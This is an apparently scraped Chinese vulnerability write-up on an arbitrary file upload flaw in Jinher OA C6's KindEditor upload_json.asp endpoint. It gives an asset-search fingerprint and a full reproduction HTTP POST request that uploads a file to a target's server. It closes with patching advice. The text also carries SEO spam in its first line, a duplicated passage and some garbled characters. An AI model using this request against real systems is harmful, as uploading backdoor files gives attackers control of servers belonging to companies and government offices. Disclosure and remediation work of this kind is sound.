网站后台用户名密码,免费公司网址,网站分类目录查询,网站提交链接入口产品介绍
金和网络是专业信息化服务商,为城市监管部门提供了互联网监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。
漏洞概述
金和 OA C6 upload_json接口处存在任意文件上传漏洞#xff0c;攻击者可以通过构造特殊请求包上…产品介绍
金和网络是专业信息化服务商,为城市监管部门提供了互联网监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。
漏洞概述
金和 OA C6 upload_json接口处存在任意文件上传漏洞攻击者可以通过构造特殊请求包上传恶意后门文件从而获取服务器权限。
资产测绘
app“Jinher-OA” 漏洞复现
POST /c6/KindEditor1/asp/upload_json.asp?dirfile HTTP/1.1
Host: your_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Content-Length: 369
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: multipart/form-data; boundary---------------------------494407267900182071383631703039-----------------------------494407267900182071383631703039
Content-Disposition: form-data; namelocalUrl-----------------------------494407267900182071383631703039
Content-Disposition: form-data; nameimgFile; filenamevae.txt
Content-Type: image/pngvae
-----------------------------494407267900182071383631703039-- 访问打码的路径访问上传文件 成功上传借此可以上传任意文件。
修复建议
1、升级到安全版本 2、如非必要禁止公网访问该系统。 3、设置白名单访问。
